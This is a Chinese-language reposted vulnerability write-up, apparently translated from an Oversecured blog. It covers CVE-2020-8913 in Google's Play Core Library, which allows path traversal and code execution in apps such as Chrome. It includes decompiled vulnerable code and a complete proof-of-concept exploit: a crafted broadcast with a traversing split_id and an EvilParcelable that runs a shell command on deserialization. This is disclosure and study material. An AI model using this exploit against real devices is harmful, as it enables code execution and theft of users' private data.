挖洞经验 | Google Play Core Library中的代码执行漏洞

时间:2022-07-26
本文章向大家介绍挖洞经验 | Google Play Core Library中的代码执行漏洞,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

年初2月,Oversecured公司就利用该系统探测发现了谷歌Google Play Core Library核心库中的一个高危代码执行漏洞,漏洞影响所有依赖调用该库的APP应用程序,攻击者可通过向受害者手机中植入恶意APP应用,然后利用该漏洞窃取用户隐私数据。

漏洞介绍

Google Play Core Library是针对安卓系统的一个主流应用库,该库可通过Google API接口在后台动态向用户APP应用实现推送更新、优化存储、自适应调整等功能。Oversecured公司发现Google Play Core Library中存在的该漏洞,允许攻击者在APP应用中添加运行模块并在其中实现代码执行,最终将可成功窃取受害者手机中的登录凭据、交易信息、电子邮件等敏感信息。

安全公司Oversecured负责内核安全扫描的专家通过测试了多款主流APP应用后发现,安卓原生态中的谷歌Google Play Core library源码中存在任意文件窃取和任意文件覆盖两个严重安全问题。以下为该两个漏洞问题的源码出处:

根据上述发现,Oversecured专家对漏洞可能的攻击范围展开了调查,并及时上报了谷歌。在后续的分析中,Oversecured专家编写漏洞利用代码成功在Google Chrome 的APP应用中实现了文件替换和代码执行。

漏洞代码片段分析

通过反混淆等技术,Oversecured测试人员对Google Chrome App应用进行了反编译,然后发现了以下问题:

1、在代码文件com/google/android/play/core/splitinstall/C3748l.java中存在一个未经保护的广播接收器(broadcast receiver),攻击者可以经由第三方app应用向其其中发送构造内容,并迫使原APP向任意位置拷贝任意文件,尤其是向可导致目录遍历的参数split_id位置。该广播接收器(broadcast receiver)的注册信息如下:

private C3748l(Context context, C3741e eVar) {
    super(new ae("SplitInstallListenerRegistry"), new IntentFilter("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"), context);

另外,同一安卓设备中的第三方应用可通过以下代码文件com/google/android/play/core/listener/C3718a.java广播任意数据信息:

protected C3718a(ae aeVar, IntentFilter intentFilter, Context context) {
    this.f22595a = aeVar;
    this.f22596b = intentFilter; // intent filter with action `com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService`
    this.f22597c = context;
}

private final void m15347a() {
    if ((this.f22600f || !this.f22598d.isEmpty()) && this.f22599e == null) {
        this.f22599e = new C3719b(this, 0);
        this.f22597c.registerReceiver(this.f22599e, this.f22596b); // registration of unprotected broadcast receiver

代码文件com/google/android/play/core/splitinstall/SplitInstallSessionState.java则负责处理接收到的信息:

public static SplitInstallSessionState m15407a(Bundle bundle) {
    return new SplitInstallSessionState(bundle.getInt("session_id"), bundle.getInt("status"), bundle.getInt("error_code"), bundle.getLong("bytes_downloaded"), bundle.getLong("total_bytes_to_download"), bundle.getStringArrayList("module_names"), bundle.getStringArrayList("languages"), (PendingIntent) bundle.getParcelable("user_confirmation_intent"), bundle.getParcelableArrayList("split_file_intents")); // `split_file_intents` will be parsed
}

2、在代码文件com/google/android/play/core/internal/ab.java中,Google Play Core Library核心库会从split_id参数下split_file_intents URL中的目录位置unverified-splits拷贝内容(split_id参数如果缺乏校验则会导致目录遍历):

for (Intent next : list) {
    String stringExtra = next.getStringExtra("split_id");
    File a = this.f22543b.mo32067a(stringExtra); // path traversal from `/data/user/0/{package_name}/files/splitcompat/{id}/unverified-splits/`
    if (!a.exists() && !this.f22543b.mo32067b(stringExtra).exists()) {
        bufferedInputStream = new BufferedInputStream(new FileInputStream(this.f21840a.getContentResolver().openFileDescriptor(next.getData(), "r").getFileDescriptor())); // data of `split_file_intents` intents
        fileOutputStream = new FileOutputStream(a);
        byte[] bArr = new byte[4096];
        while (true) {
            int read = bufferedInputStream.read(bArr);
            if (read <= 0) {
                break;
            }   
            fileOutputStream.write(bArr, 0, read);

进一步分析后发现,verified-splits目录下包含了当前APP应用的签名检验信息,如果该目录下config.前缀的文件启动后,会自动被添加到APP运行的类扩展器ClassLoader中。基于此隐患,攻击者可以创建一个实现类,如在Parcelable接口中包含进恶意代码,然后把其实例发送到存在漏洞的APP应用去,这样的话,利用createFromParcel方法的反序列化操作即可实现本地代码执行。

POC验证

Oversecured公司选择Google Chrome APP作为测试目标,通过执行chmod -R 777 /data/user/0/com.android.chrome进行权限分配,启动APP应用后,由于未受保护的消息接收器receiver在Google Play Core library中进行了注册,3秒后,消息接收器receiver便接收到了加载已序列化对象类ClassResolver的测试指令,5秒后,攻击者通过发送对象EvilParcelable,实现了反序列化过程的代码执行。在安卓应用中,当某个组件接收到一个意图指令状态后,其所有附加对象都会被执行反序列化,如Intent.hasExtra(name)方法。整个过程的代码逻辑如下:

public static final String APP = "com.android.chrome";

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent launchIntent = getPackageManager().getLaunchIntentForPackage(APP);
    startActivity(launchIntent);

    new Handler().postDelayed(() -> {
        Intent split = new Intent();
        split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir));
        split.putExtra("split_id", "../verified-splits/config.test");

        Bundle bundle = new Bundle();
        bundle.putInt("status", 3);
        bundle.putParcelableArrayList("split_file_intents", new ArrayList<Parcelable>(Arrays.asList(split)));

        Intent intent = new Intent("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService");
        intent.setPackage(APP);
        intent.putExtra("session_state", bundle);
        sendBroadcast(intent);
    }, 3000);

    new Handler().postDelayed(() -> {
        startActivity(launchIntent.putExtra("x", new EvilParcelable()));
    }, 5000);
}

攻击者端控制的代码执行逻辑如下:

package oversecured.poc;

import android.os.Parcelable;

public class EvilParcelable implements Parcelable {
    public static final Parcelable.Creator<EvilParcelable> CREATOR = new Parcelable.Creator<EvilParcelable>() {
        public EvilParcelable createFromParcel(android.os.Parcel parcel) {
            exploit();
            return null;
        }

        public EvilParcelable[] newArray(int i) {
            exploit();
            return null;
        }

        private void exploit() {
            try {
                Runtime.getRuntime().exec("chmod -R 777 /data/user/0/" + MainActivity.APP).waitFor();
            }
            catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    };

    public int describeContents() { return 0; }
    public void writeToParcel(android.os.Parcel parcel, int i) {}
}

总结

该漏洞上报后被谷歌威胁评分为8.8,漏洞将会影响如Google Chrome等依赖Google Play Core Library库的所有主流APP应用,导致任意代码执行,造成用户个人信息、浏览记录、交易数据等隐私敏感数据信息被窃。APP开发方请及时更新Google Play Core library至最新状态。

漏洞上报和处理进程

02/26/2020 漏洞发现 02/27/2020 漏洞分析并上报谷歌 04/06/2020 谷歌确认漏洞有效并执行修复 07/22/2020 谷歌分配漏洞编号CVE-2020-8913

参考来源:

https://blog.oversecured.com/Oversecured-automatically-discovers-persistent-code-execution-in-the-Google-Play-Core-Library/